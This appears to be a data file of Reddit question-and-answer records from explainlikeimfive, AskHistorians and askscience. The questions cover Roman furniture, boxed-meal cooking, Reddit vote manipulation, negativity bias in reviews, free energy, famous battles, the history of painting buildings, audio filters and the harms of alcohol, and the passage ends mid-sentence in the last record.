{"q_id": "48bqfj", "title": "Looking for roman furniture measurements. Any publicly accessible resources?", "selftext": "I am looking to find some documentation on roman furniture. The finds at Herculaneum for example. Kind of like [this](_URL_0_) .\n Any Scans available of any era ancient furniture?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/48bqfj/looking_for_roman_furniture_measurements_any/", "answers": {"a_id": ["d0id7gr"], "score": [3], "text": ["You should be able to find measurements in excavation reports.  I'm not a Roman period archaeologist, but you should be able to look in any excavation report on Roman sites in a library.  If the excavators have done their work correctly, a discussion of architecture and artifacts should list any furniture that was excavated, as well as discuss what rooms it was found in and associate it with other artifacts.\n\nOnline, there's a lot of info on Pompeii at _URL_2_\n\nSpecifically, I think you'll be interested in [the page on Households](_URL_1_).  There you can go through each house and look at the list of artifacts of each one, and find measurements of various types of furniture [in a list like this one](_URL_0_)."]}, "title_urls": [], "selftext_urls": ["http://www.griffith.ox.ac.uk/gri/4segtut.html"], "answers_urls": [["http://test.stoa.org/cgi-bin/mySiteMaker/general_search.cgi?conf_file_name=pompeii_artifactsinrooms.conf&amp;offset=0&amp;limit=50&amp;col_names=1&amp;order=ASC&amp;out_type=html&amp;hide_query=1&amp;show_columns=&amp;where_clause=artifactsinrooms.houseid%20=%20%271%27", "http://www.stoa.org/projects/ph/home", "http://www.pompeiana.org/Research/Research.htm"]]}
{"q_id": "73tv6l", "title": "why do meal-in-a-box (like hamburger helper) recipes require hot water when you are just going to boil all of the ingredients anyway?", "selftext": "I was making dinner the other night and the recipe on the box requested hot water. Milk, another ingredient in the recipe, did not need to be hot or heat up before being added to the mix. All of these ingredients were then put on the oven and heated until boiling. If the mixture was just going to be brought to a boil, why would the starting temp of the water matter? What damage to the meal could using cold water cause? Why wouldn't the milk need to be hot like the water?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/73tv6l/eli5_why_do_mealinabox_like_hamburger_helper/", "answers": {"a_id": ["dnt1qqd", "dnt3jz9"], "score": [4, 6], "text": ["Hot water hydrates material better. If any foodstuffs are still dry, they have a good chance of burning", "Those meal in a box meals contain a mixture of cooked and dehydrated, raw and dehydrated, and dry ingredients.\n\nYou add water to rehydrate the stuff that needs making back into food, to activate the stuff that's there to stick *that* stuff together.\n\nThen you bake it to cook the raw stuff, and activate the binders, leaving behind something that's got something claiming to be texture.\n\nDry TVP has a water content of about 3% or less.\nYou rehydrate it to ~60%, at which point it's technically edible but has the flavor and texture of wet cardboard.  You mix in the \"Mexican non union alternative to beef and tomato flavoring\", then bake it down to ~40% water, at which point it has a mouth feel exactly unlike beef Bolognese.\n\nAlso, adding hot water to the mix should activate the binding agent, either starch or egg protein, before the dry ingredients have had a chance to start absorbing water. Adding cold water will have the exact same ultimate effect, but things will be more mixed, and have an odd texture."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "24rwvp", "title": "how does reddit stop people from just making a thousand accounts and upvoting themselves?", "selftext": "My friend said they dont allow a single IP address to vote twice, but i think that wouldnt work because everyone in my dorm uses the same connection. but then on that note, if that isnt the case, whats to stop me from getting my whole dorm to upvote me?\n\nit just seems like someone gets screwed either way.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24rwvp/eli5_how_does_reddit_stop_people_from_just_making/", "answers": {"a_id": ["cha1hvn", "cha1k7m", "cha4w0n", "cha558b", "cha5udh", "cha64v6", "cha6e64", "cha81xd"], "score": [11, 79, 9, 3, 2, 3, 7, 6], "text": ["Reddit has anti-spam measures, like the fuzzing of votes. These ghost up/downvotes prevent people from realizing their mass upvoting isn't working as it should.\n\nThe specifics are a company secret. Reddit wouldn't want the spammers to know exactly how they prevent spam.", "I'm sure you could, but that seems like a lot of effort and \"real\" people will always downvote if your content is crap. You would have to make enough accounts to overcome the real downvotes. There are Facebook accounts that are run by \"click farms\" that do exactly this, because companies equate FB \"likes\" with a good business. (_URL_0_ ) \n\nPlus, what would be the end-game of giving yourself that many upvotes? Karma doesn't make you any money, just boosts your ego to know that people value your input. Giving yourself upvotes is just...Reddit masturbation. ", "I have, on more than one occasion, switched accounts to Upvote self posts for visibility. They all show up. ", "Cause... ain't nobody got time for that.", "What good would that do? It's not like you can exchange your Internet Points for something that's worth the time and effort.", " > but i think that wouldnt work because everyone in my dorm uses the same connection.\n\nI would hope you all have different IP addresses. \n\n > whats to stop me from getting my whole dorm to upvote me?\n\nThe admins can see who upvotes what, and you'll get banned very quickly for using the same account to upvote everything.", "Honestly I believe that Reddit is already controlled by an army of bots by people who want to hog the front page...", "They don't, but in all honesty, if you're spending your time logging in and out of different accounts to upvote your own comments, you're the one who is being screwed..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.washingtonpost.com/blogs/wonkblog/wp/2014/01/06/click-farms-are-the-new-sweatshops/"], [], [], [], [], [], []]}
{"q_id": "awhjt7", "title": "why is it that the brain will read 15 positive reviews about a product, but then reads 1 negative review and is immediately turned off?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/awhjt7/eli5_why_is_it_that_the_brain_will_read_15/", "answers": {"a_id": ["ehmi8jr", "ehmislb", "ehmj49q", "ehmjj3h", "ehmjsne", "ehmkgo5", "ehmmk0b", "ehmmmvf", "ehmmqsp", "ehmmycw", "ehmn8md", "ehmnmvg", "ehmofy4", "ehmscqd", "ehmvptc"], "score": [2, 2511, 9, 63, 14, 2, 18, 2, 3, 114, 2, 4, 5, 2, 2], "text": ["Chanses are greater that the negative review is true. Might be 1/15 that breaks?", "It\u2019s confirmation bias. When reading reviews, you are already questioning the quality of the product. So if you see one negative review, it\u2019s what you were looking for. ", "We are hard-wired to find and believe negatives over positives, tracing back to the fight or flight response from evolution that we are always cautious preparing for potential dangers. ", "A negative situation could cost you your life, a positive one might improve your life. We have evolved to be wary of negative situations so we can stay alive.", "Because that negative review usually says, \"I had a problem that was easily resolvable. The company I bought the product from refused to do anything anout it or wouldn't even talk to me.\"  I won't do business with a company rhat makes me gamble on their product. Everyone makes mistakes, if refusing to fix them is part of your business model, then I'll take my money elsewhere.", "When testing a product for quality a company should run many tests under different conditions.  Passing most of them is not good enough.  It needs to be able to pass all of them. Now if the 1 star review just says \"I hate it\" that can be dismissed. But if it says \"this failed under normal conditions\" it's a good indicator the product wasnt adequately tested.\n\nIf I were to buy a tool that I am going to have to depend on 100 reviews from people saying \"ive used this once and I love it\" dont mean anything next to the one that says \"after two days of solid use the handle broke\"", "Relevant xkcd:  _URL_0_\n\nAt lot of those 15 reviews will go over the same data over and over.  So they can take the weight of only 1-2 reviews in your mind.  If you've read 16 reviews about the product, you're looking for that negative information to get a full view of the product.\n\nOr if they're written in a suspiously similar or commercialized fashion, it's really easy to suspect astroturfing.  Then you go looking for a review that doesn't sound like they're lying to you.  And that means when you find that negative review, it can wash away the incorrect-looking ones.", "I would say it\u2019s because losses loom larger than gains. It is thought that the pain of losing is psychologically about twice as powerful as the pleasure of gaining.", "Humans are programmed for risk aversion. We want to limit our risk more than we want to get something. So negatives tend to have more weight than positives.", "Negativity bias. \n\nHumans are hard wired this way. In our species evolution (and that of many others) we need to be able to respond to things quickly and have a rule set that will allow to deal with negative situations quickly. This is all hard wired (and able to be altered through nurture) in our **amygdalae.** There's not really any big evolutionary upside to overreact to positive stimuli but there is potential huge downside to not overreact to negative stimuli.\n\nSo essentially our brains are hardwired to give more weight to negative stimuli, because this overreaction could save us in some situations.", "Bc most reviews are fake. Looking for failures of a product not the fake successes. \n\nRestaurant reviews are different for me.  I think people are stupid and it's not fair to take a review like \"OMG, the service was TERRIBLE! I asked for an extra ranch and it took 5 mins then my water was empty for 10, then my food came out bland, it had no inspiration!  Won't be coming back!\". I've been to several restaurants where I've read shit like this and servers have bad days like the rest of us. Also some people really, really, suck to serve. ", "More people are motivated to leave reviews if they\u2019re upset about a product. Something I look for is whether the negative reviews are left by idiots. \n\nThis review would cause me concern: \u201cEven after fully charging and using for 3-4 charge cycles, the headphones only lasted 30 minutes before needing another charge.\u201d\n\nThis one wouldn\u2019t: \u201cSTUPID HEADPHONES STOPPED WORKING ON BLEWTOOTH EVEN THOW I CHARGED THEM THAT MORMING BEFORE MY BIKE RIDE AND I COULDNT USECTHEM COMING BACK THAT EVENING\u201d", "So, there's this psychological effect called Loss Aversion (_URL_0_) which says that I'm more likely to be negatively affected by a loss than I will be positively affected by a gain.\n\nLet's take an example. In scenario 1: we'll toss a coin. If it comes heads, I'll give you 10 dollars. In scenario 2: I'll give you 10 bucks for free. Then we'll toss a coin. If it comes up tails, I'll take the 10 bucks back.\n\nStatistically and mathematically, they're both the same, but wouldn't you prefer the first scenario, you little five year old you?\n\nThe same thing happens with negative reviews.", "Humans rely mostly on their subconscious when making decisions under uncertainty. We use several subconscious strategies to do so: anchoring, availability/relevance and representativeness. In the case of shopping, relevance and representativeness are the main two. You want to know that an item will be useful in your life (relevance), and what others have to say that represents that item.\n\n\n\n These strategies are guided by our biases. Being a person who prefers not to lose (loss averse) appears to be the leading bias here. You are afraid of losing the resources from buying an item that ends up not being worth it. We are also social animals, who will follow the cues of other humans. Seeing a handful of people who \"lost\" with the product might deter a great amount of people from buying it, even if the statistical amount of people who got what they wanted was much greater. \n\n\n\nTo help solidify my point, doctors tend to word procedures in terms of success, rather than failure for this very reason. Do you think people would rather hear that a surgery has a 90% success rate? Or a 10% death rate? Getting someone to become more aware of the faults of something leans them towards their loss aversion bias, and negative reviews do just that. ", "I automatically go to the shitty reviews first to see what the complaints were about. Some times it's a shipping issue that happened 2 years ago or something"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://xkcd.com/937/"], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Loss_aversion"], [], []]}
{"q_id": "2qur19", "title": "what would happen to the economic system if we discover an energy source that is unlimited, free, easy to use and convert?", "selftext": "I guess there would be a full shift towards automation and decline in every other sector since we have unlimited ~~resources~~ power at our disposal.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qur19/eli5_what_would_happen_to_the_economic_system_if/", "answers": {"a_id": ["cn9p4b5", "cna1vyq", "cna3zj7"], "score": [12, 3, 2], "text": ["There's a number of other scarce resources that will still be scarce should an unlimited free source of energy be adopted. There will still be issues with scarce metals, water, land, human capital, etc. As a whole, the quality of life of pretty much every human would rise. The economic system however, would remain relatively unchanged.", "If it were free and unlimited then that means that it would not take skill, time, or capital to produce massive quantities of it. This would be easy to weaponize. Massive quantities of energy being generated by 15-year-old chuckledicks would be a threat to the safety of grandmas and dictators alike. This would result in massive political instability.", "Things that would get much cheaper:  \n\n* Heat - a lot of people die from cold\n* Transportation - a more flat world and even solar system\n* Metals - smelting and recycling costs are significant\n* Food - Oil is also used for fertilizer, and food for energy, and mechanized farming is significant\n* Chemicals - distillation is a MAJOR cost of the chemicals industry\n\nIn short, energy affects everything at almost every step.  Feeding the poor?  Cheaper fertilizer, machines to tend and transport food, and heat for a warm building that is structural steel with polymer flooring, walls, and paint.\n\nOf course, where will all this energy go after we use it?  Every silver lining has a cloud and I'd start looking down the road about how this magical energy source affected the sustainability of the ecosystem.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "uvhan", "title": "Military Historians of all Eras: What do you feel was the greatest battle/commander of all time? Hannibal at Cannae? Alexander at Jhelum?", "selftext": "What do you feel was the greatest triumph, stroke of strategic genius, etc, ever in recorded history and, more importantly, why?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/uvhan/military_historians_of_all_eras_what_do_you_feel/", "answers": {"a_id": ["c4yzaay", "c4z0nl9", "c4z2g1r"], "score": [11, 2, 3], "text": ["Historians have gushed over it since it happened really, but Napoleon at Austerlitz honestly was a tactical masterpiece - even he knew it at the time (the Arc de Triomphe was commissioned right after Austerlitz). \n\nSome Russian and Austrian generals suspected Napoleon's great trick (make his right flank seem weak to provoke a Russo-Austrian attack, then hammer the opposing force with the centre flank), but he made the trap extremely convincing and tempting, and then just crushed the opposing force. And of course, he needed to feign weakness in the first place to pull the Russo-Austrian force into battle - Napoleon likely would have spoiled the advantage won at Ulm if he did not engage in battle immediately, thus it was to the Coalition advantage if they retreated (fortunately for Napoleon, hotter heads prevailed).\n\nWith one brilliant maneuver Napoleon ended the war, broke the Russo-Austrian Coalition, and destroyed the Holy Roman Empire. \n\nIt also turned out to be Napoleon at his absolute peak, and I'm personally a bit of a fan of his (it doesn't hurt that Napoleon's chapter in Jewish history is a rather positive one), so that's nice too.", "How would you define \"great\"? I'd probably move towards it requiring victory from almost certain defeat followed by lasting change as a result...", "I suppose the story must have come from Livy.   \n\nI can't imagine who else even if I can't remember for sure.\n\nBut anyway, when Scipio asked Hannibal who the best generals had been, apparently they got to chat somewhere along the line, Hannibal is supposed to have replied something like,\n\n\"Well, first it's Alexander because he beat everyone.\n\nNext it's Pyrrhus.  He was the first to understand the science of war, the value of a proper camp and proper organisation.   The rest of us are just copying him really.\n\nAnd the third is me,\" said Hannibal.\n\nWhen Scipio protested this was monstrously unfair as Scipio had beaten Hannibal, Hannibal is supposed to have replied,\n\n\"Ah, but if I had beaten you, I would have been the best.\"\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1d2hcc", "title": "Painting.", "selftext": "I'm currently painting a barn converted into a music studio in my backyard. I spent 7 hours out there today, and I was wondering, when did people start painting buildings? I remembered learning something about houses being painted not being a universal thing until (sort of) recently, but then I realized I was thinking of the John Grisham novel 'A Painted House.' \n\nI tried Google, but I all I got were results about painting in art, and I want to know when they started painting buildings. \n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1d2hcc/painting/", "answers": {"a_id": ["c9m945o", "c9mbbkf"], "score": [5, 3], "text": ["I suspect the addition of colour is tied to the use of plaster and mortar; if you'll allow that then the history of gypsum and lime plaster is a long one.   \n   \nQuoting a 1926 book [*Ancient Egyptian Materials  &  Industries*](_URL_0_):  \n >  [Gypsum Plaster] is the characteristic wall plaster of ancient Egypt and is known from early dynastic times and no evidence whatever can be found of the use of lime before the Ptolemaic period.    \n   \nand:   \n >  The great use of gypsum plaster was to provide for the walls and ceilings of houses, palaces, tombs and temples a suitable surface for painting upon.     \n   \nand:  \n >  Gypsum, being a natural material, varies considerably both in colour and composition. The colour may be white, different shades of grey, light brown, or even occasionally pink ...    \n   \nOutside of Egypt the quote bandied about for lime is that:   \n >  the earliest excavated limekiln was dated about 2450 BC at Khafaje. Mesopotamia.   \n   \n( Many secondary sources for that, a primary paper would be nice. )    \n    \nThe progression would be that once a culture builds with wattle  &  daub (plant matter bundled for walls, clay / mud to seal the cracks) it's a short jump to spread daub smoothly over an entire surface, and another short jump to either select a particular mud for it's colour or to dope it with mineral / plant colours.   \nThis isn't *exactly* painting a building, it's finishing a building with an eye to colour.    \n   \nIn a similar manner once a culture moves past drystone walls and into the use of mortar it's a short hop to the act of smooth render and then coloured render.      \n   \nAs evidenced by the second Egyptian quote gypsum plaster render has been *painted upon* for quite some time, the purpose of this comment wasn't so much to address *paint* as it was to discuss the possible precursor coloured daub / coloured clay / lime wash / plaster.   \n   \nAn alternative line in the history of the appearance of buildings is to look at the deliberate choices of wood and stone and their uses in corners, towers, uprights, horizontals, etc. in a deliberate manner to achieve an effect of colour and pattern. Again this is *not* painting but it is a deliberate choice about final colour and appearance.  \n   ", "Do you mean painting the inside or the outside?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books?id=GugkliLHDMoC&amp;pg=PA96&amp;lpg=PA96&amp;dq=Egyptian+gypsum+plaster&amp;source=bl&amp;ots=A6hg_R1Cnd&amp;sig=k9SFyw4-0ptjYG7N8nmz0liMpsI&amp;hl=en&amp;sa=X&amp;ei=WtB4UfHaLsa2igKGmIGwBw&amp;redir_esc=y#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "1jfyyp", "title": "How do low or high pass filters work exactly? Is that all a tone knob is in a guitar?", "selftext": "I think the title says what I am trying to ask, I have read online about it and made and worked with them (though I am bad with the math and do not get how to dial it in specifically).\n\nWhat is exactly happening in the circuit that stops a certain hz from moving through?\n\nedit:\n\nI think I should have asked for a more detailed way of looking at current vs voltage with this to better understand the concept as well!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1jfyyp/how_do_low_or_high_pass_filters_work_exactly_is/", "answers": {"a_id": ["cbea87t", "cbeabca", "cbeaidx", "cbeczgn", "cbed6z2", "cbeql1z", "cberkqb"], "score": [4, 2, 2, 2, 2, 2, 2], "text": ["An analog filter generally includes reactive components (inductors and capacitors). These components aren't like pure resistances. When a time-varying voltage is applied to a pure resistance, the current that results is in phase with it (there's no time lag).   \n  \nThis is not true for reactive components. The voltage and current are out of phase, and that allows for circuits to be constructed where they will tend to allow certain frequencies to pass through easily.   Such a circuit can be used either to directly block/pass selected frequency ranges between the input and output, or to dump select ranges to ground, or both.  \n  \nThe tone knob on a guitar usually hooks up to such a circuit, changing a resistor that is part of the circuit. (I believe that on some guitars the \"tone\" knob doesn't do that, it just selects the balance between two sets of pickups.  But that is usually a different knob on the guitar.)   \n  \nYou can also construct filters digitally. You of course first have to sample the analog signal to convert it to digital. Then algorithms can be applied to the stream of digital numbers to filter out or pass select frequency ranges before converting back to the analog domain.  A digital filter has some nifty advantages, such as the ability to change the filter parameters very rapidly.   ", " > Is that all a tone knob is in a guitar?\n\nYes -- the tone knob on most electric guitars is essentially a passive low-pass filter controlled by a potentiometer.\n\nI wish I could tell you exactly *how* it works, but sadly I only know about them in the context of guitars -- i.e., I know *that* they work, and how to wire them up, but not *how* they work. :)  And I don't even like the darn things, I rip 'em out of my guitars and replace them with toggle switches and the like, he he ...\n\nHope you get a good answer to your other question!  (Edit:  Looks like afcagroo ninja'd a good answer in before me!)", "If you know anything about electronics you should know what a resistor is. If not in brief it's something which electricity loses energy as it flows through, such as the filament in a lightbulb. It's the simplest electrical component other than an ideal wire.\n\nHowever, this is only one of the many important electrical components. It's kind of boring in that an ideal resistor's responds identically to all frequencies. However there are other important components.\n\nThese components include capacitors and inductors. Capacitors are made of two plates which are not connected. As current flows into one side of the conductor that plate gains a charge and current flows out the otherside of the conductor. Capacitors can store a certain charge on each plate depending on its structural properties and the voltage applied. But it takes time for charge to build up and be released from capacitors. Because of this the voltage across parts of circuits that involve capacitors will have time dependence and depend on the frequency of the signal.  \n\nInductors on the other hand are little coils of wire. Normally current would pass through the wire unimpeded. However, because it is coiled up a changing magnetic field created by the current will cause a slight backreaction, introducing energy loss (and therefore a voltage difference) across the inductor. Once again this will depend heavily on the frequency of the signal and makeup of the inductor. A rapidly changing signal will induce rapidly changing magnetic fields and a lot of back reaction. On the other hand a slowly changing signal will pass through almost entirely unimpeded.  \n\nUsing Capacitors and inductors along with resistors allows you to filter out some signals while leaving others and it's fairly easy to make high, low and band pass filters with those components. \n\nSimple examples of schematics should be very easy to find on google images.", "There are accurate descriptions here so far, but nothing really simple, so here goes.\n\n\nResistors allow all frequencies pass through with equal resistance.\n\nCapacitors allow higher frequencies to pass through more easily than lower frequencies.\n\nCoils allow lower frequencies to pass through more easily than higher frequencies.\n\nA low pass filter can be constructed by connecting a capacitor from signal line to ground, OR by placing a coil in the signal line. Caps are normally used because they're cheaper.", "Probably too advanced, but electronic amplifiers also exist which use transistors in a way such that all filters can be implemented using just capacitors. That's how modern analog filters are implemented almost exclusively, since inductors are not just expensive but also fairly static in their reactance (capacitors can easily change the distance between plates to achieve this).", "I just wanted to point out that physics would be somewhat incorrect in this scenario. More engineering. \n\nSound filters just dampen frequencies at specific ranges.", "In the first two or three chapters of this text book, the author demonstrates how to construct a low pass and a high pass filter.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.dspguide.com/pdfbook.htm"]]}
{"q_id": "arn204", "title": "what is it about alcohol that actually harms your body", "selftext": "Edit: Thanks for gold", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/arn204/eli5_what_is_it_about_alcohol_that_actually_harms/", "answers": {"a_id": ["egoc951", "egoiej7", "egoyjs3", "egp21fn", "egp3wx0", "egp5z1i", "egp7lam", "egp81a3", "egpa0gh", "egpa37a", "egpbu97", "egpcmgp", "egpekzn", "egpfg17", "egpftyf", "egpicp7", "egpl3cl", "egpohhr", "egppt3h", "egpraqo", "egpsr6h", "egpupx3", "egpvp2i", "egq0u25", "egq16j9", "egq2863", "egq3jov", "egq61jc", "egqekc4", "egs1zg5"], "score": [37, 398, 18, 70, 41, 3392, 8, 5, 79, 230, 6, 87, 43, 113, 3, 4, 86, 6, 2, 3, 2, 7, 2, 3, 4, 2, 2, 2, 2, 2], "text": ["It's simply spoken a poison. It kills the cells in your body if there is too much of it in your body. Small amounts of alcohol your body can deal with no harm. ", "There are many reasons consuming excessive alcohol is bad for your body..\n\nWhen alcohol (in this case ethanol that we drink) is metabolized it becomes acetaldehyde, a \"free-radical\" which can damage cells, including neuronal synapses. Aside from dehydrating your body and altering your normal sleeping rhythm, liver damage occurs over time which can lead to an irreversible state called cirhossis and eventually/possibly cancer.", "What I heard (not a doctor, a 10y comms worker in a non-governmental organisation against cancer) it's a combination. Alcohol is a carcinogenic (can cause cancers, of the digestive tract and some others like breast cancer) AND is likely to increase your weight, which is not only bad for your cardiovascular system but also increases your risk for about 7 or 8 cancers. Even though you didn't ask, allow me to spew the directives we handle where I work (Belgium, I am convinced it is evidence based but please do your own thorough research): To keep your risk for cancer as low as possible , avoid alcohol altogether but if you drink, do not exceed 10 consumtions a week and have 2 days without alcohol. And duh, not all 10 in 1 day ^_^", "Very simply speaking: alcohol from a mental standpoint binds with the same nerons responsible for sleeping called GABA. This basically shuts down parts of the brain and can lead to unconsciousness. Drink too much and it will bind with enough GABA to shut down the brain stem which is responsible for many of the body's automatic functions. If you overdose on alcohol you forget to breath and die.\n\nOther comments have explained other aspects of alcohol's effects but this is the main brain-chemistry one.\n\nSource: Got an A in Psych over the winter. This was early on info though so I may have remembered some things wrong.", "From what I've learned, excess alcohol leads to too much conversion of NAD+ - >  NADH, a chemical your body uses for energy. Having too much NADH messes up a lot of your body's metabolic processes which depend on having an appropriate balance of NAD+. Long-term consequences of chronic alcohol abuse can include fatty liver, gout attacks, hepatitis/cirrhosis and more.", "What we normally refer to as alcohol is ethanol, which is a moderately toxic chemical compound our body can deal with reasonably well compared to ethanol's meaner cousins.\n\nNonetheless, alcohol interacts with the brain in a way that it competes with a substance produced by neurons to send signal across synapses (the gaps between neurons). This substance is called GABA (gamma amino butyric acid). A lot of the effects we experience when we drink too much root in this GABA vs ethanol competition. Also alcohol is a drug and can lead to addiction and tolerance, altough it is much weaker in that than e.g. cocaine or nicotine.\n\nThe second major organ that suffers from alcohol  is the liver, where ethanol is metabolized to acetaldehyde. This substance is heavily hepatotoxic (liver-damaging) and carcinogenic (which ethanol is as well strictly spoken, but way less). In heavy or long-time drinkers, liver damage such as steathosis, cirrhosis and hepatic cancer can occur.\n\nAlso, ethanol acts on your skin's blood vessels. It widens them and it results in you not feeling cold when you normally would. This can be dangerous and has killed quite some people too.\n\nAs I mentioned before, ethanol rises the risk of some cancer directly too (oral cancer, cancers of the digestive system etc.).\n\nHowever, moderate alcohol intake does reduce the risk of a stroke. No one knows why, but it does. I'll drink to that, cheers!\n\nEdit: _URL_0_\nQuick search on the alcohol-stroke link, shows quite some ambivalence and research is ongoing. Also moderate consumption = 1-2 drinks per day :D", "Alcohol=Ethanol\n\nEthanol=Poison (mild but still dangerous)\n\nAs we all know, poison is not good for you. Alcohol has also other indirect effects like clouding your judgement, making you more vulnerable, making you aggressive, etc. Just because it\u2019s legal doesn\u2019t mean it\u2019s safe!\n\n", "I didn't see anyone mention it, but we use alcohol to kill germs. It kills them. We are made of cells, just like germs. But more importantly, we have a lot of bacteria in our bodies that help us, like in digestion. Ever meet a heavy drinker? I'll bet they haven't taken a solid bowel movement in years. Because alcohol is killing their gut bacteria.", "Some people (not necessarily OP) seem to mistakenly believe that when the body \u201cbreaks something down,\u201c it just disappears, or becomes inert. This isn\u2019t the case. The body breaks things down, or metabolizes them, into simpler compounds that can then be used for energy, namely sugar.\n\nI\u2019m sure you already know that the \u201calcohol\u201c in alcoholic drinks is a specific kind of alcohol called ethanol. The metabolic process for ethanol is a bit complex, and goes through several stages:\n\nMost alcohol is metabolized in your liver by an enzyme called \u2018alcohol dehydrogenase\u2019 (ADH).  \nADH breaks down alcohol into acetaldehyde, which is similar to formaldehyde and toxic to the body, and then another enzyme, aldehyde dehydrogenase (ALDH), rapidly breaks down acetaldehyde into acetic acid, which is basically vinegar, which the body digests.\n\nDrinking alcohol is not guaranteed to cause liver damage; it\u2019s only when you drink in excess.  \nThe reason it harms you is because your liver can only break down ethanol and acetaldehyde so quickly, and if you drink too much too quickly, your liver can\u2019t metabolize everything fast enough.  \nAs a result, the acetaldehyde remains in your system longer than it should, and because it\u2019s toxic, it causes damage to the liver.", "I didn't read all the comments but I didn't see anyone mention that alcohol inhibits antidiuretic hormone. Antidiuretic hormone tells your kidneys not to release water. So inhibiting ADH means you pee more. So peeing excessively from a night of heavy drinking leaves you dehydrated. Dehydration is a lot of what a hangover is.\n\n & #x200B;\n\nMost people don't experience the more severe impacts of alcohol abuse that other people are talking about. Most people get a hangover at some point in their life.", "I\u2019m Asian and get that flush and it affects me a lot more than other people. Does it mean it\u2019s worst for me? My husband says I need to drink more to build a tolerance. To me, that sounds like a horrible idea.", "My wife is of Japanese decent, and is unable to properly break-down alcohol. One drink, and she is the red equivalent on violet in Willy Wonka.", "I drank way too much last weekend. Additionally my wife and I have gotten into the habit of splitting at least a bottle of wine every night. Sometimes more. Decided to take the week off. Can't tell you good I felt almost two days in. The difference was immediate and drastic. ", "Let\u2019s not forget that drinking too much for too long throws off your brain chemistry. It can get bad enough that abruptly stopping drinking can kill you. Delirium tremens is what happens when your body tries to counteract having a constant presence of a depressant thus it produces more chemicals to \u201cbring you back to normal\u201d. When you stop using alcohol the brain is still over-producing these chemicals so your brain is hyper-sensitive. This can lead to hallucinations, panic/anxiety attacks, uncontrollable shaking, seizures, and death. \n\nAlcohol is one of the most dangerous substances to come down off of. If you or someone you know is trying to quit, they should do so under medical supervision. \n\nSource:  Alcoholic. ", "Its not really the alcohol itself. There are a lot answers here explaining the chemical and physiologic effects of alcohol. The problem is the amount. Lets say it takes you 4 shots of vodka to get drunk. That's about 70 grams of pure alcohol (accounting for proof and all that). Almost no drugs are dosed as 70 grams over a 1-2 hour period. There is just so much of it that it gets into everything.", "Also calling out that your liver will process toxins first; if you excessively consume alcohol you diminish the ability of your liver to do its job, so eventually it will struggle to process the nutrients in normal food - leaving you malnourished and emaciated.\n\nTo continue the rant, alcohol destroys everything in your body. The liver specifically takes an enormous beating - your liver is one of the most resilient organs in the body, so the ability of excessive alcohol consumption to destroy the liver should tell you just how terrible alcohol is for you.\n\nContext: my dad just died of alcoholism last month. He was 62.", "What happened to eli5? You need a masters degree to understand any of the replies on this sub anymore... ", "Here\u2019s my 5 year old explanation:\n\nAlcohol is a poison. There\u2019s tiny parts of your body called mitochondria that turn food into energy, and alcohol kills these in every part of your body. It also creates mini poisons called \u201cfree radicals\u201d that increase your risk for cancer. So your body tries to turn this poison into a lesser poison. \n\nThe problem is some people like the way alcohol feels even though it is poison because it changes the way your brain works. Nobody likes the way the lesser poison, which we call acetaldehyde, feels. \n\nAlcohol can cause a number of problems. In the short term, if you drink too much it can make you sick, and cause you to never wake up again which is called a coma. Or it can cause you to vomit so much you choke. These are rare, but they happen if you drink a lot at once, which is called binge drinking.\n\nOver a long amount of time, the part of your body that handles alcohol might shut down. This part of you body is you liver, and it\u2019s used for a lot of other things, so if this organ has a problem you will get very sick. This is called cirrhosis.  Another long term problem is alcohol can hurt your brain.\n\nAlcohol is tricky because even though some people can enjoy it, some people can become addicted. Remember, it changed the way your brain works. Once addicted, it is very hard to quit and you are likely to give yourself both long and short term problems.\n\n", "Immoderation. As soon as you exceed a certain threshhold for your own body it immeadiately becomes detrimental.", "Didn\u2019t see this so I thought I\u2019d bring it up: alcohol also makes you fat, especially for chronic alcoholics. Alcohol is broken down in a way that makes it very easy to be turn into fat, and also stops your body from breaking down the fat it already has. Obesity is not a good addition to liver failure, pancreatitis, stomach ulcers etc.", "The alcohol that is relatively safe for humans to consume is ethanol. Ethanol has the structure of CH3-CH2-OH. The harmful effects of the alcohol can be split into short and long term effects.\n\nThe short term effects are dehydration and drowsiness. \n\nDehydration is caused because alcohol inhibits the release of a hormone which makes the kidneys absorb water. The kidney has structures called nephrons, these are like little valves and when you're drunk the little valves stay open and more and more water is allowed to leave the body.\n\nDrowsiness is caused as neurotransmitter chemicals in the nervous system slows down. Imagine your nervous system as a massive networks of water pipes, when there isn't enough neurotransmitter there is a blockage in the pipe and the water flow is restricted. This means it takes more time for the nerve impulse to get where it is going and it makes you feel sleepy.\n\nThe long term effects of alcohol consumption are a lot worse. It cause liver damage, kidney damage, brain damage and a lot of other things.\n\nThe liver oxidises the alcohol into an aldehyde and aldehydes are damaging to the body, they are carcinogenic and poisonous.\n\nThe long term slowing of nerve impulses in the brain, cause the synapses between the neurons to break down.", "I used to drink everyday which destroyed my liver, pancreas and my life. The day I was hospitalized and was in ICU for 30 days. I don\u2019t recall nor remember how I got there. I was on life-support and the doctors said I was not going to make it. I don\u2019t even remember that I removed my central IV line from my neck twice and tried to leave the hospital. I was only a few steps from the exit door but hospital security stopped me. The doctors had to drain my stomach because it had expanded from a lot of fluids. When I finally woke I had lost 